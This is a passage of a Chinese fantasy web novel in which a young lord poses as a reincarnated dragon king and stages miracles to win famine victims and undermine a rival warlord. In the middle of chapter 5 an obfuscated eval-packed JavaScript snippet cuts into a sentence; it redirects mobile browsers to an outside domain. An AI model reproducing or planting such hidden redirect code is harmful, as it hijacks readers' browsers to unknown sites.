百姓们彻底癫狂,磕头如捣蒜,额头抵着泥水,嘶声哭喊:“龙王显灵!太生公子是龙王转世!!!” 太生微垂眸俯视众生,唇角微勾。 人心,已入彀中。 暴雨持续倾泻,而他立于雨幕中央,衣不沾水,眸含天威。 这一刻,他不是凡人,而是—— 神。 4. 第 4 章 雨,仍在倾泻。 太生微立于高台之上,银蓝纱衣如水波流动,周身笼罩着一层朦胧的雾气,仿佛连雨水都不敢沾染他的衣角。 他的瞳孔仍是竖立的龙瞳,冰冷,深邃,俯瞰着台下跪伏的众生。 风声、雨声、百姓的哭喊声,皆如潮水般涌来,却又在他面前戛然而止。 仿佛连天地都在敬畏他的存在。 白云观的老道士最先反应过来,颤巍巍地伏地叩首,高呼:“龙君显圣!” 这一声,如巨石投入湖中,激起千层浪。 “太生公子是龙君转世!” “天佑河阳!天佑我等!” “求龙君赐福!求龙君庇佑!” 人群如浪潮般起伏,额头抵地,不敢直视。 太生微缓缓抬手,指尖轻点虚空,似在安抚躁动的风雨。 “雨,会下十二时辰。” 他的声音并不大,却穿透雨幕,清晰地传入每一个人耳中。 十二时辰…… ——整整一天一夜的暴雨! 百姓们愈发狂热,有人甚至喜极而泣,捧起泥水往脸上抹,仿佛这样便能沾染神恩。 而太生微,已不再多言。 他转身,踏下祭坛。 每一步落下,足尖所触之处,积水自动分开,如受无形之力推拒。 踏浪履上的浪纹泛起微光,仿佛真的踏水而行。 人群不由自主地分开一条路,无人敢靠近,无人敢触碰,甚至连抬头直视都成了一种亵渎。 谢昭站在远处,浑身湿透,却死死盯着那道身影。 “他……真的没沾一滴水。”蓝衣少年嗓音发颤。 谢昭没有回答,只是握紧了拳头。 这已非人力所能及。 南阳府邸。 太生明德站在廊下,望着漫天暴雨,手指微微发抖。 府中仆从早已乱作一团,有人跪地祷告,有人奔走相告,而太生明德只是沉默。 直到—— 那道熟悉的身影踏入府门。 雨水在太生微周身一尺外便自动滑落,他的衣袍依旧干爽,发丝如浸月华,龙角钗莹莹生辉。 “父亲。”他开口。 太生明德张了张嘴,竟一时不知该如何称呼自己的儿子。 这还是他的孩子吗? 龙侥幸投生太生家,是他们的福? “微……不,公子。”太生明德声音微哑,“雨……真的会下十二时辰?” “会。”太生微淡淡道,“足够做很多事。” 太生明德深吸一口气,强迫自己冷静下来:“微,你有何想法?” 太生微走向内室,太生明德紧随其后。 待房门关闭,隔绝外界喧嚣,太生微才缓缓开口: “周家。” 短短二字,却让太生明德心头一凛。 “周世铮前日来访,表面献礼,实则试探。” 太生微指尖轻敲案几,声音不疾不徐,“他盘踞河阳府外围要塞,尤其是渡口城堡,囤积粮草,私兵数千。” 太生明德点头:“周家确实是我们最大的麻烦。” “旱灾日久,粮仓防雨必有懈怠。”太生微眸中闪过一丝冷意,“派细作潜入,确认粮仓位置,趁雨夜奇袭,断其补给。” 太生明德眼中精光一闪:“好计!暴雨之下,守兵必然松懈,且粮草一旦浸湿,周家军心必乱!” “不止如此。”太生微唇角微勾,“周家私兵多为流民或叛卒,对天意最为敏感。降雨之后,可散布流言。” “周家逆天而行,上天降灾罚其兵。” 太生明德倒吸一口凉气。 ——攻心为上! 若周家士兵真信了这流言,只怕不战自溃! “我这就去安排。”太生明德肃然起身,却又顿住,迟疑道,“微……你还有什么想法?” 太生微抬眸:“父亲不必如此拘礼。” 太生明德苦笑:“可微如今……实非凡人。” 太生微沉默片刻,轻声道:“我仍是太生微。” 只是,不再仅仅是“太生微”。 太生明德深深看了他一眼,最终躬身退下。 待所有人退下,太生微独自立于窗前,望着漫天暴雨。 雨幕之中,隐约有龙影游过。 他缓缓抬手,一滴雨水悬浮于掌心之上,晶莹剔透,映出他冰冷的竖瞳。 “周世铮……” 他轻声念出这个名字,指尖一握,水滴迸散。 接下来,该收网了。 至少从河阳府开始,掌握河内郡。 雨声渐歇。 太生微独自立于内室,铜镜前。 镜面如水,映出他的身影。 银蓝纱衣已褪去,龙角钗、鲛泪坠、缚雨链…… 所有不属于凡尘的饰物皆被收起,唯余一袭素白单衣,衬得他愈发苍白。 可那双眼,仍是竖瞳。 金色的,冰冷的,非人的。 他抬手,指尖轻触镜面,与镜中的自己对望。 “还能维持多久?” 无人应答。 【龙女·云霓雨魄】的特效仅持续十二时辰,而神异的余韵,至多再延续一日。 一日后,他将重新变回“凡人”。 不,不对。 太生微忽然轻笑一声。 从今日起,他再也做不回“凡人”了。 河阳府的百姓已亲眼见证“龙君显圣”,暴雨倾盆,龙影掠空。 这一切,都将成为他神性的烙印,深深镌刻在乱世的人心上。 可神性,需要代价。 “逆天而行,舍身救世……” 他低声呢喃。 多好的理由。 天机不可轻泄,神力不可滥用。 每一次呼风唤雨,都需折损寿元,或付出其他代价…… 这样的说辞,足以解释为何他不能频繁施展“神迹”。 镜中的竖瞳微微收缩。 乱世之中,最不缺的就是“信徒”,而最危险的,也是“信徒”。 今日他们跪伏高呼“龙君”,来日若有人质疑,他们便会成为最锋利的刀,剜向“伪神”的心脏。 所以,他必须快。 在河阳府外的势力尚未反应过来前,在朝廷、诸侯还未将“太生微”视为威胁前—— 先吞下河内郡! 铜镜旁的案几上,摊开一幅舆图。 案上的舆图早已烂熟于心,可每看一次,仍觉触目惊心。 这天下,与其说是王朝末世,倒不如说是一场天罚。 北方,旱魃横行。 河阳府的雨,不过是一滴甘霖坠入焦土,转瞬即逝。 再往北,冀州大地龟裂如蛛网,漳水断流,河床裸露的裂口如同一张张饥饿的嘴,吞噬着流民最后的希望。 并州更甚,汾河干涸,胡骑南下,烽烟四起。凉州?麦田早已化作焦土,蝗虫啃食着残存的生机。 南方,洪魔肆虐。 长江决堤,南阳郡半淹,浮尸塞川,腐臭熏天。 淮河流域暴雨三月不休,寿春城外积水丈余,渔船行于街市,官仓里的粮食早已霉烂成泥。 ——天灾?人祸? 太生微指尖轻敲案几,眼中闪过一丝讥诮。 朝廷腐朽,诸侯割据,赈灾的粮食层层盘剥,到了灾民手里,只剩一把掺沙的麸糠。易子而食的惨剧早已不是传闻,而是每日都在上演的常态。 这样的世道,与其说是乱世, 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【N级套装】:100-300声名值(效果平庸,如“步履生香”) 【R级套装】:500-1000声名值(如“鹤唳·青霄客”) 【SR级套装】:3000-5000声名值(如“龙女·云霓雨魄”) 【SSR级套装】:10000+声名值(未解锁,仅显示问号) 最下方,还有一行小字: 【注:声名值每日衰减5%,信徒死亡或背叛将大幅扣除。】 太生微凝视光幕,笑了。 原来如此。 “神”需要信徒,而信徒……需要“神迹”来维系。 他抬手关闭光幕,转身走向窗边。 雨已停,夜空如洗,一轮冷月高悬。 雨后的河阳府,空气里仍带着湿润的泥土腥气。 太生微指尖轻叩案几,声音不疾不徐,却让堂下众人屏息凝神。 “雨已停,人心未定。”他抬眼,目光扫过在座的几位心腹。 “接下来,要做两件事。” 他指尖一抬,点在案上舆图的河阳府位置。 “第一,开仓放粮。” 主簿陈明眉头一跳:“公子,府库余粮不多,若再放……” “不是府库的粮。”太生微淡淡道,“是‘龙王赐粮’。” 堂内一静。 韩七最先反应过来,眼中精光一闪:“公子的意思是……周家那批?” 太生微唇角微勾。 昨夜暴雨倾盆,周家屯粮的仓库位置,早已被韩七摸透。 “周世铮的私兵,现在如何?” 韩七冷笑:“暴雨冲垮了两座粮仓,守卫大半逃散,剩下的正忙着抢粮自保,乱成一团。” “很好。”太生微指尖轻敲,“今夜子时,孙虎带两百精锐扮作流民,趁乱劫粮。记住——” 他抬眼,眸中寒意凛然。 “只抢粮,不杀人。” 孙虎一愣:“不灭口?” “不必。”太生微轻声道,“让他们逃,让他们告诉周世铮‘天罚降灾,龙王收粮’。” 堂内众人倒吸一口凉气。 这是要借周家溃兵之口,坐实“天罚”之名! “第二件事。” 太生微指尖移向城外流民营地,“明日辰时,开‘龙王仓’,放‘赐福粮’。” 陈明急忙道:“公子,若突然开仓,流民疯抢,恐生暴乱!” “不会疯抢。”太生微敛眸。 5. 第 5 章 “报——!” 一声急促的呼喊打断了堂内议事。 一名差役跌跌撞撞冲入,额头还挂着汗珠,脸上却带着掩不住的喜色。 “公子!青岚河......青岚河里有鱼!” 堂内霎时一静。 太生微抬眸看向差役:“说清楚。” 差役扑通跪下,声音激动得发颤:“回公子,方才巡河的弟兄发现,青岚河上游漂来鱼群!黑压压一片,少说上千条!灾民们已经疯了似的往河边跑,拦都拦不住!” 太生明德猛地站起身:“当真?青岚河干涸半年有余,怎会突然......“ 他话到一半突然噤声,转头看向自己的儿子。太生微依旧端坐,唇角却浮起一丝若有若无的笑意。 “父亲,去看看?” 青岚河畔,人声鼎沸。 这条曾经干涸得河床龟裂的河道,此刻已被十二个时辰的暴雨注满了河水。 水流湍急,裹挟着枯枝败叶奔涌而下,岸边泥土松软湿滑,却挡不住灾民们疯狂的脚步。 “鱼!真的有鱼!” “龙王赐福啊!” 赵老六抱着小石头挤在人群边缘,孩子烧退了些,此刻正睁大眼睛望着河面。 浑浊的水流中,确实能看到一道道银灰色的影子时隐时现。 “爷爷,我饿......“小石头虚弱地扯了扯赵老六的衣角。 赵老六喉头滚动。 上一次吃肉是什么时候?半年前?或许更久。 他环顾四周,已经有胆大的汉子脱了上衣跳进河里,双手胡乱扑腾着想要抓鱼。 更多人跪在岸边,直接用破碗舀水,希望能捞到一两条小鱼。 “别急,别急......“赵老六安抚着孙子,眼睛却死死盯着河面。 突然,他瞳孔一缩。 离岸不到一尺的水中,一条肥硕的草鱼正逆流而上! 几乎是不假思索,赵老六放下小石头,一个猛子扎进河里。 冰凉的河水瞬间淹没头顶,他睁大眼睛,双手朝那条鱼扑去。 指尖触到滑腻的鱼身,却又被它灵巧地挣脱。 “噗通!” “噗通!” 接二连三的落水声响起。 饥饿的灾民像下饺子一样跳进河里,有人用衣服当网,有人直接张嘴去咬漂浮的小鱼。 一个妇人抓到条巴掌大的鲫鱼,顾不得刮鳞去内脏,直接塞进嘴里生嚼,鱼尾还在她唇边拍打。 “我的!这是我先看到的!” “滚开!这鱼是我们家的!” 争抢很快演变成斗殴。 两个汉子为了一条鲤鱼扭打在一起,鲜血从其中一人的鼻孔喷出,滴在河面上晕开一片猩红。 更远处,一个老人被推倒在泥泞中,刚抓到的鲢鱼被人抢走,只能趴在地上哀嚎。 混乱中,谁也没注意到一队人马正悄然靠近。 “都让开!太生公子到!” 一声厉喝如惊雷炸响。 人群下意识分开一条路,只见太生微一袭素白长袍,在侍卫簇拥下缓步而来。 奇怪的是,尽管岸边泥泞不堪,他的衣角却纤尘不染,仿佛有无形的屏障将污秽隔绝在外。 吵闹声渐渐平息。 灾民们跪伏在地,却仍忍不住用余光偷瞄河面。 那些鱼,可是救命的粮食啊! 太生微目光扫过众人,最终落在湍急的河面上。 他缓步走到岸边,俯身蹲下,将右手探入浑浊的河水中。 “他在干什么?”外围,谢昭眯起眼睛。 他和几个同伴站在高处的土坡上,将一切尽收眼底。 蓝衣少年摇头:“莫非是要......“ 话音未落,异变陡生! 原本四散奔逃的鱼群突然齐齐转向,如同受到某种召唤,朝着太生微的手掌汇聚而来。 银灰色的鱼背在阳光下连成一片。 “龙王爷显灵啦!”驼背老头第一个叩首高呼。 太生微的手仍浸在水中,鱼群越聚越多,最后竟在他周围形成一个直径丈许的圆圈,密密麻麻的鱼头探出水面,嘴巴一张一合,仿佛在朝拜。 更神奇的是,这些鱼既不游走也不挣扎,就那么静静地浮着,等待太生微的“挑选“。 赵老六抱着小石头,看得目瞪口呆。 他活了四十多年,从未见过如此奇景。鱼群如此温顺,简直像是......像是被驯服的家畜! 太生微唇角微扬,知道这是“龙女·云霓雨魄”套装残余的神力在起作用。 他随手抓住一条肥美的鲤鱼提出水面,鱼尾拍打两下便安静下来,在他掌心乖顺得像只雏鸟。 “韩七。”他轻声唤道。 侍卫首领立刻会意,带着几名壮丁上前,竟直接用手从那个神奇的“鱼圈“中捞起鱼来。 更令人惊讶的是,鱼群丝毫不躲,任由他们抓取。 “排队领鱼!每人一条,不得争抢!”韩七高声宣布,“这是太生公子赐予尔等的恩典!” 灾民们如梦初醒,立刻在河岸排起长龙。 有人喜极而泣,有人不住叩头,更多人眼巴巴望着那些肥美的鱼,口水直流。 太生微站起身,手中的鲤鱼已经交给侍从。 他甩了甩手,水珠在空中划出一道弧线。 “装神弄鬼......”谢昭冷哼一声,却掩饰不住眼中的震惊。 他自幼习武,眼力极佳,刚才分明看到太生微的手入水瞬间,有一道几不可察的蓝光闪过。 蓝衣少年咽了口唾沫:“谢昭,这......这怎么解释?” “障眼法罢了。”谢昭嘴上这么说,心里却已掀起惊涛骇浪。 祈雨可以说是巧合,但徒手召鱼?这已经完全超出了他的认知。 河岸边,分发仍在继续。 太生微站在一旁,目光却投向远方。 青岚河上游,河水正以肉眼可见的速度变得清澈,几尾小鱼跃出水面,鳞片在阳光下闪闪发光。 “微。”太生明德悄然走近,“周家那边......“ “不急。”太生微打断他,声音轻得只有两人能听见,“让''神迹''再发酵一会儿。” 他转头看向排队领鱼的灾民。 赵老六正领到一条鲫鱼,激动得老泪纵横,拉着小石头朝太生微的方向不住磕头。 信仰,是最美味的饵。 分鱼的秩序持续了约莫一个时辰。 太生微站在河畔高处的青石上,衣袍被微风轻轻掀起一角。 忽然,人群外围传来一阵轻微的骚动。 一个瘦骨嶙峋的老妇人,佝偻着背,双手捧着一只粗陶碗,颤巍巍地朝太生微的方向挪动。她的手指关节粗大,皮肤皲裂如枯树皮,碗中盛着一条煮得发白的鱼,汤水清澈见底,没有半点油星,只有几片野菜叶子漂浮其上。 “龙、龙王爷……“老妇人嗓音嘶哑,膝盖一软便跪在了泥地上,双手却仍高高捧着那只碗,“求您……尝一口吧……这是老婆子用刚分的鱼煮的,清水煮的,没、没加别的东西……“ 周围的侍卫立刻上前阻拦,韩七更是眉头一皱,低喝道:“退下!公子岂会——“ “无妨。”太生微抬手制止,目光落在那碗鱼汤上。 鱼眼已经煮得泛白凸出,鱼鳃微微张开,汤里飘着一股淡淡的腥气,混着野菜的苦涩。 灾民们平日里连盐都稀缺,这鱼自然不可能去腥,恐怕连内脏都未曾清理干净。 老妇人见太生微不语,以为他嫌弃,浑浊的眼中顿时涌出泪水:“龙王爷恕罪……老婆子家里没盐了,这鱼、这鱼是干净的,是从河里新捞的……“ 太生微微微一笑,俯身接过陶碗。 碗沿还沾着老妇人手指上的泥垢,但他并未在意,只是轻轻捧起,在众目睽睽之下,低头啜饮了一口鱼汤。 汤水入口,腥味瞬间在舌尖炸开,未去净的鱼胆苦味混着野菜的土腥,几乎让人作呕。 太生微面色不改,喉结微动,缓缓咽下,随后又用筷子夹起一块鱼肉,放入口中细细咀嚼。鱼鳞未刮净,卡在齿间沙沙作响,但他依旧从容,甚至露出一丝温和的笑意。 “味道甚好。”他轻声道,声音不大,却足以让周围所有人听见,“老人家有心了。” 老妇人呆住了,随即泪如雨下,额头重重磕在地上:“龙王爷慈悲!龙王爷慈悲啊!” 周围的灾民见状,纷纷跪倒,有人甚至痛哭出声。 在他们眼中,太生微贵为“龙王转世“,却肯屈尊吃下贫民献上的粗食,这已不是凡人能做到的胸怀。 韩七和一众侍卫面面相觑,眼中既有震惊,也有敬佩。 他们跟随太生微多年,知道这位公子素来饮□□细,何曾碰过这等腥秽之物? 可他今日竟能面不改色地咽下,甚至赞了一句“味道甚好”! 远处的土坡上,谢昭眯起眼睛。 蓝衣少年低声道:“他竟真吃了?” 谢昭没有回答,只是死死盯着太生微的侧脸,试图从那张平静如水的面容上找出一丝破绽。然而,他失败了。 太生微将陶碗递还给老妇人,温声道:“带回去与家人分食吧。” 老妇人千恩万谢地退下。 太生微的目光重新落在湍急的河水中,思绪却飘向了古籍中的一则典故。 鱼腹传书。 “鱼腹藏信,可惑人心……“ 太生微心中默念,眸中闪过一丝深意。 如今的世道,与秦末乱世何其相似? 灾民易蛊,只需一点“神迹“,便能让他们死心塌地。 他望向青岚河的下游。 河水奔涌,鱼群顺流而下,而下游十里处,正是周世铮的私兵驻地。 那些士兵同样饥肠辘辘,若见鱼群涌来,岂会不捕?而若鱼腹中藏有“天谕”…… “韩七。”他突然开口,“去年我从库房取走的那匹''鲛绡纱'',可还在府中?” 侍卫首领一怔,随即会意地凑近:“公子说的是那匹刀剑难伤的奇纱?一直收在您书房的多宝阁暗格里。” 太生微唇角微扬。 那匹纱是两年前抽到的R级道具【鲛绡纱·''沧海遗珠''】,系统说明极其简单:“水火不侵,刀剑难伤,破损后可缓慢自愈”。 因其特性太过显眼,他一直找不到合适用途,如今想来…… “带二十亲卫回府,取五尺见方。”他开口,“从东南角开始量,莫要惊动府中眼线。” 韩七领命退下,太生微已转向河岸聚集的灾民。 他广袖一展,素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723252|173930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白袍角在风中翻飞,声音温润似玉:“诸位父老——” 人群霎时安静,数百双眼睛齐刷刷望来。 太生微立于青石之上,背后是奔涌河水,阳光为他镀上一层朦胧金边。 他刻意停顿几个呼吸,让期待在沉默中发酵。 “天降甘霖,龙王赐鱼,此乃河阳之福。”他抬手虚按,压下几个激动的呼喊,“然鱼群有限,需留种繁衍。自此刻起,青岚河上下游十里禁渔些许时日。” 话音未落,外围已有差役敲响铜锣,数十名身着皂服的衙役手持水火棍开始清场。 谢昭在土坡上眯起眼睛。 “凭什么不让我们捕鱼?”一个满脸横肉的汉子突然冲出人群,“老子饿了大半年,好不容易......” “啪!” 清脆的鞭声炸响。 汉子话音戛然而止,捂着渗血的右脸踉跄后退。 执鞭的“衙役”面无表情收回鞭。 太生微恍若未闻,继续道:“禁渔期间,每日辰时在龙王庙施粥。” 他袖中滑出一枚令牌,“违令者——” 令牌翻转,背面赫然是刻的龙纹。 “——以渎神论处。” 最后四字轻若鸿毛,却压得众人喘不过气。 赵老六死死捂住小石头的嘴,他分明看见太生微说“渎神“时,眼睛变成金色竖瞳。 驼背老头已经拉着几个同乡跪地高呼:“谨遵龙王爷法旨!” 骚动扩散。 谢昭注意到那些假衙役正有意无意地将自己一行人往外围驱赶,蓝衣少年扯了扯他的袖子:“他们好像在清场?” “走。”谢昭冷笑,“我倒要看看这位''龙王爷''要搞什么鬼把戏。” 待闲杂人等散尽,河岸只剩太生微的亲信与三十名精锐。 孙虎带着人用长杆和麻绳拉起临时围障,太生明德匆匆赶来,身后跟着怀抱黑木匣的韩七。 “微儿,这是要......”太生明德话音戛然而止。 他看见儿子打开木匣,取出一匹泛着珍珠光泽的银蓝色轻纱。 那纱不过五尺见方,却在展开时如流水般倾泻而下,阳光穿透纱面,竟在地面投下粼粼波光。 太生微指尖抚过纱面,触感冰凉滑腻,似深海最深处的水流。 他抽出腰间匕首猛地划向纱面。 “公子!”孙虎惊呼。 刀刃与轻纱相触,竟发出金石相击的铮鸣。 纱面微微下陷,却不见丝毫破损。 更诡异的是,当太生微撤去力道,那被压陷的纱面竟如活物般缓缓恢复平整,连一道褶皱都没留下。 “果然如此。”太生微轻笑。他转向目瞪口呆的众人:“撕成指宽布条,每条约一寸长。” 太生明德最先回神:“微儿是要效仿鱼腹丹书?可这纱......” “此乃东海鲛人所织。”太生微信手拈来一个传说,“入水不濡,入火不焚。” 他从韩七手中接过毛笔,蘸着特制的金漆在布条上写下“周逆天诛”四字,笔锋如刀,“寻常鱼饵裹之,入腹不化。” 接下来的半个时辰里,十名巧手的亲卫将鲛绡纱撕成百余条。 太生微亲自监督每条布卷的搓制。 先裹一粒浸过鱼油的黍米,再将写有谶语的布条缠绕,最后用发丝细的银线轻轻捆扎。 成品不过绿豆大小,落入水中便如普通饵料无二。 “放饵。”太生微一声令下。 孙虎带人将百余粒纱丸撒向上游。 太生微则立于浅水处,一圈几乎不可见的蓝光如涟漪扩散。 刹那间,河底暗流涌动。 原本四散的鱼群突然调转方向,争相吞食那些纱丸。 有几尾贪嘴的鲤鱼甚至跃出水面,银鳞在阳光下划出光弧。 “神了......”一个年轻亲卫喃喃道。 太生微闭目感应着体内即将耗尽的神力。 最后一丝联系断绝…… 他突然睁眼,瞳孔已恢复成寻常的颜色:“传令下游哨卡,凡周家士兵捕鱼,不得阻拦。” 太生明德立刻会意:“微儿是要让那些鱼......” “顺流而下,直入敌营。”太生微开口,“周世铮的私兵多为流民,最信鬼神之说。当他们剖开鱼腹见到天谕......“ 他没有说完,但众人已倒吸凉气。 孙虎突然单膝跪地:“公子神机妙算!那些莽夫见到''周逆天诛''的谶语,怕是当场就要溃散!” “不止。”太生微望向东南方向,那里是周家屯兵的渡口,“今夜子时,你带人扮作游方术士,在渡口集市散布流言。” “就说周世铮私截赈灾粮,触怒龙王,故天降暴雨毁其粮仓,又遣鱼使传檄。” 韩七补充道:“属下这就去找几个口齿伶俐的,混进周家军营附近的酒肆。” 众人领命而去,河面恢复平静。 “公子。”老管家悄无声息地出现,“谢家那几人被清走后,绕道去了渡口。” 太生微并不意外:“谢昭此人心思缜密,必能看出端倪。” 他在谢昭来那一日便知晓了他的动态。 他拾起岸边一片鱼鳞,对着阳光观察其上的虹彩,“无妨,他若聪明,就该知道此刻站队比拆台更有利。” 6. 第 6 章 夜色如墨。 青岚河下游,河水在月光下泛着粼粼波光,像是无数细碎的银鳞在跳跃。 渡口边,周世铮的私兵营地灯火稀疏。 暴雨过后的河水涨得满满当当,偶尔有鱼儿跃出水面,激起一圈涟漪,引得岸边的士兵们一阵低语。 营地外围,几名士兵围着一堆篝火,烤着几根枯枝。 他们衣衫破旧,靴子上沾满泥泞。 “老张,你说这河里真有鱼?”王二狗蹲在河边,手里攥着一根削尖的木棍,眼睛死死盯着水面。 他声音里带着几分怀疑:“昨儿个老李头说,他亲眼瞧见上游有人捞到半人高的鲤鱼!” “哼,半人高?”旁边的老兵张麻子啐了一口,吐沫落在地上,“老李头那张嘴,十句话有九句是胡咧咧。青岚河都干了半年了,哪来的鱼?怕不是他饿昏了头,看见水草当鱼了!” “可不是胡咧咧!”瘦猴插嘴道,“我今儿早上听集市上的人说,太生公子在南郊祈雨,招来了一场大雨,还引得鱼群从天上掉下来!说是龙王赐福,鱼多得河里都挤不下来!” “龙王赐福?”张麻子嗤笑一声,抓起一块石头丢进河里,水花四溅,“少听那些游方术士的鬼话!太生家那小子不过是个病秧子,装神弄鬼罢了。真有龙王,怎不直接把咱们的粮仓给填满?” “诶,你可别乱说!”王二狗压低声音,四下张望了一圈,像是怕被谁听见,“我听说太生公子祈雨那会儿,天上真有龙影!好多人都瞧见了,连白云观的道士都跪下喊‘龙君显圣’了!” “显圣个屁!”张麻子瞪了他一眼,手里的木棍往篝火里捅了捅,火星子噼啪乱蹦,“咱们的粮仓昨晚被雨冲垮了两座,兄弟们忙活了一夜,连粒米都没抢回来。你说这是龙王赐福?依我看,分明是龙王在罚咱们!” 这话一出,周围几人顿时安静下来。篝火噼啪作响,映得几张脸阴晴不定。 “老张,你这话……”瘦猴咽了口唾沫,声音低得像蚊子哼哼,“可别让伍长听见。伍长昨儿还说,谁再提龙王的事,就抽二十鞭子!” “抽就抽!”张麻子脖子一梗,语气却不自觉弱了几分,“老子在这破营地里饿了一个月,顿顿喝稀粥,连树皮都啃光了!周司马倒是吃香喝辣,咱们兄弟连条鱼都捞不着,这叫什么世道?” “嘘!有人来了!”王二狗突然压低声音,猛地拽了张麻子一把。 远处,一阵脚步声由远及近,夹杂着低沉的说话声。 几名士兵立刻低下头,装作专心烤火。 火光中,一道高大的身影走近,肩上扛着一张破旧的渔网,身后还跟着两个同样背着网具的士兵。 “伍长!”王二狗连忙起身,点头哈腰地招呼。 来人正是这队士兵的伍长,名叫马三刀,四十岁上下,脸上一道刀疤从左眉斜到嘴角。 他扫了眼围着篝火的几人,冷哼道:“一个个闲得慌?不去河边盯着,搁这儿嚼舌根?” “没、没嚼舌根!”瘦猴赶紧摆手,挤出一脸笑,“我们正商量着今晚去河里捞鱼呢!伍长,您看这网……” 马三刀瞥了眼那张破得满是窟窿的渔网,皱眉道:“就这破玩意儿,能捞着啥?还不如拿根棍子戳鱼来得快!” “嘿,伍长,您别瞧不起这网!”王二狗凑上来,语气里带着点邀功的味道,“这可是我从集市上换来的!昨儿暴雨后,河里鱼多得跟下饺子似的,撒一网下去,准能捞一堆!” “哼,嘴上说得好听。”马三刀不屑地撇嘴,但还是挥了挥手,“行吧,今晚你们几个跟我去下游试试。捞着鱼了,赏你们每人一条,剩下的全送去厨娘那儿,给司马大人做顿好的。” “谢伍长!”几人齐声应道。 张麻子却低声嘀咕:“给司马大人做好的?咱们兄弟怕是连鱼汤都喝不上……” “你说什么?”马三刀猛地转头,眼神像刀子似的剜向张麻子。 “没、没啥!”张麻子连忙低头,心头却是一阵发凉。 马三刀这人最是护短,平日里对周世铮忠心耿耿,谁敢说半个“不”字,轻则一顿鞭子,重则直接丢去喂狼。 “哼,最好没啥。”马三刀冷冷道,转身朝河边走去,“都跟上!今晚捞不到鱼,你们就等着喝西北风吧!” 夜色更深,河风夹杂着湿气,吹得人直打哆嗦。 青岚河下游,水流比上游平缓许多,河面宽阔,水中不时有鱼影闪过。 马三刀带着十几个士兵,分散在河岸两侧,有的拿着木棍,有的撑开破网,个个瞪大眼睛盯着水面。 “二狗,你他娘的轻点撒网!”马三刀低吼一声,瞪着王二狗手里的渔网,“这么大动静,鱼早吓跑了!” “伍长,我这不是……激动嘛!”王二狗挠挠头,嘿嘿一笑,小心翼翼地把网撒进水里。网面刚一入水,果然有几尾鱼撞了上来,网眼虽破,却还是挂住了两条巴掌大的鲫鱼。 “哈哈!捞着了!真捞着了!”王二狗兴奋地大叫,差点把网给扯破了。 “叫个屁!赶紧拉上来!”马三刀骂道,自己也忍不住凑过去,盯着那两条在网里扑腾的鱼,喉头不自觉地滚动了一下。 他已经一个月没吃过肉了,昨晚粮仓被冲垮,弟兄们连稀粥都喝不饱,眼下这鱼简直就是天上掉下来的馅饼。 “瘦猴,你去那边守着,别让鱼跑了!”马三刀指挥道,又转头对另一个士兵喊,“老黄,拿棍子敲水,把鱼往网里赶!” “是,伍长!”老黄应了一声,抄起根木棍,噼里啪啦地拍打水面。 河水被搅得浑浊不堪,几尾鱼受惊,猛地朝网里撞去。 “成了!又一条!”瘦猴激动得声音都变了调,忙不迭地帮着王二狗把网拉上来。 不多时,十几个士兵忙活了半个时辰,硬是捞起了四十多条鱼,大小不一,最小的有巴掌大,最大的足有两尺长,堆在岸边像一座小山。 士兵们围着鱼堆,个个眼冒绿光,口水都快流下来了。 “伍长,这鱼……咱们分几条吧?”王二狗舔了舔干裂的嘴唇,小心翼翼地问。 “分个屁!”马三刀瞪了他一眼,“这些鱼全得送去厨娘那儿,司马大人等着吃呢!你们几个,赶紧把鱼装筐,送到后厨去!” “可咱们……”瘦猴忍不住开口,话到一半被马三刀一个眼神瞪了回去。 “怎么?想造反?”马三刀冷笑,拔出腰间佩刀,刀锋在月光下闪着寒光,“谁敢私吞一条鱼,老子剁了他的手!” 士兵们顿时噤若寒蝉,低头把鱼装进竹筐,抬着朝营地后厨走去。 筐里的鱼还在扑腾,尾巴拍打竹条。 后厨是个临时搭起的草棚,棚里烟雾缭绕,混杂着柴火的焦味和鱼腥气。 厨娘李氏是个四十多岁的妇人,头发用布条随意扎着,手里攥着一把菜刀,旁边摆着几个破旧的木盆,里面盛着刚送来的鱼。 “这么多鱼?”李氏瞥了眼竹筐,皱眉道,“你们这些臭小子,捞鱼倒是快,处理干净了吗?” “李婶儿,这不刚捞上来嘛!”王二狗赔着笑,把筐放下,“您老手艺好,帮着处理处理呗?” “处理个屁!”李氏没好气地骂道,“老娘一个人,哪来那么多手?你们几个,过来帮忙,把鱼鳞刮了,内脏掏干净!别以为送来就完事儿了!” “得得得,我们干!”瘦猴连忙点头,招呼几个士兵围过来。他们虽是粗人,但饿了太久,闻着鱼腥味就两眼放光,干活也格外卖力。 “诶,这鱼怎么这么怪?”老黄抓起一条鲤鱼,皱眉道,“我刚剖开肚子,里头怎么还有东西?” “啥东西?”李氏凑过来,接过老黄手里的鱼,刀尖一挑,鱼腹破开,果然露出一团白乎乎的东西,像是被鱼油裹住的小丸子。 “这是啥玩意儿?”王二狗好奇地凑近,伸手想去抠。 “别动!”李氏一把拍开他的手,瞪眼道,“没洗手就乱碰,脏死了!老娘看看……” 她用刀尖小心翼翼地挑开那团东西,剥开外层的鱼油,露出一条指宽的布条,上面隐约有字迹。 “字?”李氏愣了一下,眯眼凑近,“这鱼肚子里怎么还有布条?谁塞的?” “布条?!”马三刀闻声赶来,一把抢过那条布,展开一看,脸色顿时变了。 布条上用金漆写着四个大字。 “周逆天诛”。 “他娘的,这是怎么回事?!”马三刀声音里透着几分慌乱。 他抓起另一条鱼,刀锋划开鱼腹,果然又掏出一团布条,展开后还是同样的四个字。 “伍长,这……”王二狗咽了口唾沫,声音发颤,“这鱼肚子里怎么会有字条?莫不是……莫不是龙王显灵?” “显你娘的灵!”马三刀猛地一巴掌扇在王二狗脸上,扇得他踉跄后退,“闭嘴!谁敢再提龙王,老子剁了他!” 可这话刚出口,周围的士兵已经炸开了锅。 “伍长,这字条……真是鱼肚子里掏出来的!”瘦猴瞪大眼睛,手里还攥着一条刚剖开的鱼,鱼腹里赫然又是一团布条,“我这儿也有!写的也是‘周逆天诛’!” 